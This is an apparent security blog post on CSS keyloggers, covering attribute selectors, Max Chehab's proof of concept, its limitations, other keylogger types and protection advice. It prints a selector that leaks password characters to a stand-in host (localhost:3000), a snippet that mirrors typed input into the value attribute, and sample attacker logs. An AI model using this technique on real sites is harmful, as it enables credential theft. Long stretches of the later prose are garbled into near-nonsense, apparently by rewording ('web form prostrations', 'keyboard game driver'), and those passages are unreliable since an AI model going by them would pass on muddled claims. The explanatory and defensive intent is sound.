Home
/
Blog
/
All You Need to Know About CSS Keylogger (2021 Update)

All You Need to Know About CSS Keylogger (2021 Update)

Definition of a Keylogger

A Keylogger is a program that logs the user’s keystrokes without the user being aware of it. Generally, it is a type of vulnerability attack used to compromise the security of the victim’s accounts.

The keylogger consists of a client-side and a server-side. The client-side is responsible for logging the keystrokes and sending them to the server-side, which they would use this info to compromise the victim’s security.

Hardware-based keyloggers

When we refer to “Keylogger” we generally mean a Software-based keylogger. It is worth mentioning that there is also a category of Keyloggers called Hardware-based keyloggers. Basically, they involve some hardware that intercepts the victim’s keyboard to transfer the keys being pressed as a sequence to the attacker.

The most known example of these is “Keyboard overlays”, which consist of the attacker placing a keyboard on top of the ATM machine’s keyboard, for example, thus transferring the users’ pin codes while they think they are only pressing the ATM keyboard. Another example of Hardware Keyloggers is Keylogger connectors which are inserted between the keyboard jack and the CPU or in another way that is more discreet.

Software-based keyloggers

Software Keyloggers, on the other hand, can be implemented on various levels in the software stack, starting from the lowest level of Hypervisor-based or Kernel-based keyloggers, which are programs running underneath the Operating System or in the lowest level of it.

Higher-level software keyloggers are for example API-level keyloggers, which use the Windows API library to hook themselves to keystroke events as they happen when the targeted application is launched. A more common example that is closer to our topic is the javascript keylogger, which is a malicious javascript tag that is injected into a targeted web page (typical man-in-the-middle attack) and listens to keystrokes events on the site to report them to the attacker.

Browser-based malware

Malware used to be malicious programs that are injected into the victim’s PC. However, the evolution of web technologies allowed malicious code to be injected into web pages, in what is called Man In-Browser attack (MITB)

Javascript MITB

The entry point for a javascript MITB is this single line of code.

When developers include a script from a third party in their web apps, they are actually giving full control to that 3^rd party script. It can potentially do any of the following:

change the content
add some JS lines
read or change the origin of storage of data (for instance, if the script interferes with IndexedDB or the cache storage API, the attack may continue across the whole origin, even after you’ve removed the script)
make requests using user’s cookies
run heavy-processing code (such as cryptographic processes, i.e web mining…)
monitor every user interaction (including keylogging of all sorts)
replace simple DOM elements with malicious ones

CSS Keylogger

In this article, we are interested to present pure CSS keyloggers, i.e. that don’t depend on javascript or any other scripting language. However, the same concept of man-in-the-middle used in javascript keylogger applies, i.e. the attacker injects the malicious CSS on the page sent by the targeted site to the victim’s browser. Although 3^rd party CSS sheets are more secure than 3^rd party script, given the advances in CSS itself, together with some creativity from the attacker, we can have an insecure mix.

CSS attribute selectors

To implement a pure CSS keylogger, we basically rely on the attribute selectors feature of CSS. Below is a summary of them.

[attribute=value]  [foo=bar]
Selects all elements with foo="bar"
[attribute~=value]  [foo~=bar]
Selects all elements with a foo attribute containing the word "bar"
[attribute|=value]  [foo|=bar]
Selects all elements with a foo attribute value starting with "bar"
[attribute^=value]  [foo^="bar"]
Selects all elements with a foo attribute value starting with "bar"
[attribute$=value]  [foo$="bar"]
Selects all elements with a foo attribute value ending with "bar"
[attribute*=value]  [foo*="bar"]

Selects all elements with a foo attribute which contains the substring “bar”

Character-image CSS keylogger

The example below uses the value selector of any input whose type is a password to check the char being inserted into the input against a condition meant to identify it. After identifying the char as ‘a’ for example the malicious CSS sends a request to the attacker’s site as if it were requesting an image that represents the character ‘a’. After that, the attacker can review his server logs for the requests that asked for those imaginary “character images” and from them compose the password of the victim.

We skipped the other characters in the malicious CSS for brevity but it is the same concept. The resulting server logs on the attacker server would look something like this


127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /a HTTP/1.1" 404 22

127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /v HTTP/1.1" 404 22

127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /d HTTP/1.1" 404 22

127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /f HTTP/1.1" 404 22

127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /w HTTP/1.1" 404 22

Which are requests for the non-existing char images, resulting in status 404. From these logs, the attacker can reconstruct the password.

One famous implementation of this attack is the Chrome extension created by Max Chehab and hosted on GitHub in this link. It proves the concept by applying it to Instagram as a target site. This same implementation was introduced in Reddit and made a big impact there such that Max archived his repository in GitHub, making it read-only.

Note that you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) =&gt; {
  inp.setAttribute('value', inp.value)
});

Limitations of Character-image CSS keylogger

It is worth mentioning that many sites highlighted limitations in Max’s keylogger. To name a few:

It is very specific to what data you can obtain in this method. For example, the input field must be of type password and not be using some other way to mask the chars
It only works with an initial value being set on an input, and not per keypress nor after blurring the field.
It’s not triggered for values that have been autocompleted by the browser’s credentials manager or a password manager tool.
It cannot handle repeat characters, as the browser won’t re-request the background image in that case
Due to parallelism, it’s not guaranteed for the requests to be received by the server in the order they were typed in
It cannot handle mouse clicks inside the password field to change the entry position or pressing the arrow keys or backspace. All of these scenarios can corrupt the ordering
To be really effective it has to inject a huge CSS file (several megabytes). The workaround for that is to host the malicious CSS on a CDN host. But then the defense against that is for the developer of the target site to include a “Content Security Policy” header that will only allow CSS hosting from whitelisted sources.

The keylogger spyware is abnormally dangerous for those computer systems which are linked with business methods daily. The keystrokes of the console get marked by a keylogger and are then conveyed to the attacker through email. It can record extremely important data like account numbers, ATM PIN codes, passwords, etc.

The CSS Keylogger is absolutely simple. Employing CSS attribute selectors, one can demand sources from an outside server below the assumption of loading a background image. If you are practicing a controlled element like React, then CSS keylogger reacts can be applicable in this condition.

Here, every value correction for the input would start an event. The written CSS/Javascript code would catch this key event, modify the CSS background-image utility to the mentioned malicious server that prevents these requests, seldom even drawing a blank image just to suspend any doubts.

The malicious server would register every application it has obtained, thus having a user password logged in the conventional website. In other words, this attack is known as a CSS password hack.

CSS keylogging initiatives avoid all other authorities. They are simple to execute and control, giving attackers valuable account, identification, and rational business data. On the other hand, they are valuable research instruments.

Controlling keylogging within any industry is no diverse than handling other perils and tools, demanding common understanding and layered security. The solution is to be informed that they exist. One should always learn how they’re employed and exhibit methods to identify them.

Example

input[type="password"][val$="b"] { background-image: url("https://localhost:3000/b"); }

CSS Keylogger hack is brutal and it ruins several CSS ideas which, by themselves, are quite inoffensive, but mixed in an artistic way. It covers the action towards pure CSS keylogger:

Attribute Selectors make it reasonable to target a particular node in the tree based on a property and its value. This is helpful for the situation when trying to implement a method practice for all input fields of the equivalent type: input[type="radio"].

There are various specific comparators such as the ~= and $= comparators. The latter designates a component with a property name of attr whose content is suffixed (followed) by value.

The valid action to counter this issue would be at the server level with a notion alike to content security policy that forbids any url() feature from landing websites outside of the committed sources (e.g. abc.com and pqr.your-website.com) Sadly, CSP itself cannot stop the attack completely since it does not implement a method to bar url() requests or <link> tags that incorporate user-controlled business files.

Discovery And Prevention

Attackers are always applying various malware to destroy systems. Keylogger is one of the dangerous malware. Keylogger attempts to collect secret information through monitoring keystroke and transmitting this data to the intruder with malicious intentions.

Keylogger settles in the same channel as other wicked algorithms spread. The largely recognized classifications are:

A keylogger can probably get placed after clicking a file attached as an email. When a file is driven from an unrestricted access catalog on a P2P network, a keylogger can get established. It can also be established through an infected website or by some other malicious program situated in the victim machine.

The log file includes specifications of each mail sent from any computer system. By examining these files keylogger hit system and attackers can be identified. And other systems on the network can be defended by preventing modified systems and eliminating keyloggers from them.

How to Protect Against Keyloggers?

Directions to protect against keyloggers are just like those applied to shield systems from other malware especially rootkits:

The first one is to lock computers when not in use.
Perform and strengthen concrete security checks.
Apply Web filtering to obstruct access to discovered or doubted malicious websites.
Expand endpoint software design restrictions.
Prepare a continually modernized and controlled anti-malware solution.
Utilize security patches as soon as prudently reasonable.
Obtain and utilize keylogger discovery software to detect and control fine-tuned systems.
Acknowledge only important etiquettes on endpoint systems, and block unofficial sittings between endpoints and external websites.

There is no sure-fire security against CSS keylogging. The soundest thing to make is to be careful of what is operating in the browser and to recognize that when running user-guided code, special caution must be exercised, in the identical process, special caution must be exercised when downloading executables from untrusted roots.

Keylogger Applications

Kernel-based

This keylogger needs proficient experience from their creators. A code on the computer gains root access to sneak itself into the operating system and begins blocking keystrokes that move through the kernel. This process is challenging both to create and to battle.

Such keyloggers remain at the kernel level and are thus tough to identify, particularly for user-style applications that don’t have a root path. They are usually executed as rootkits that destroy the operating system kernel and obtain unofficial access to the hardware, delivering them very compelling. A keylogger utilizing this method can function as a keyboard game driver for example, and thus obtain access to any data typed on the keyboard as it advances to the operating system.

API-based

These keyloggers catch keyboard APIs in a working application. The keylogger records keystroke results as if it was a regular part of the application rather than malware. The keylogger holds an incident each time the user touches or delivers a key. The keylogger just records it. The APIs like GetAsyncKeyState(), GetForegroundWindow(), etc. are managed to examine the nature of the keyboard or to support keyboard events.

Form Keylogger

This is one of the best keyloggers. It logs web form prostrations by registering the web browsing on submit results. These occur when the user terminates loading in a form and submits it normally by clicking a submit command button or hitting enter. It records form data before it is transferred over the Internet.

Memory injection

Memory Injection keyloggers modify memory records linked with the browser and other operation roles to fulfill their logging purposes. By patching the memory records or injecting undeviatingly into memory, this system can be employed by malware creators who are seeing to avoid Windows UAC (User Account Control). Various trojans apply this technique completely. Non-Windows systems have comparable security devices that require to be prevented somehow by the keylogger.

Conclusion

The CSS Keylogger, which was introduced by Max Chehab earlier in 2018 made a big noise online. This is although the attack is not new and the concept was first introduced back in 2012. However many arguments make us rest assured that it is too impractical to be implemented in a real-world attack.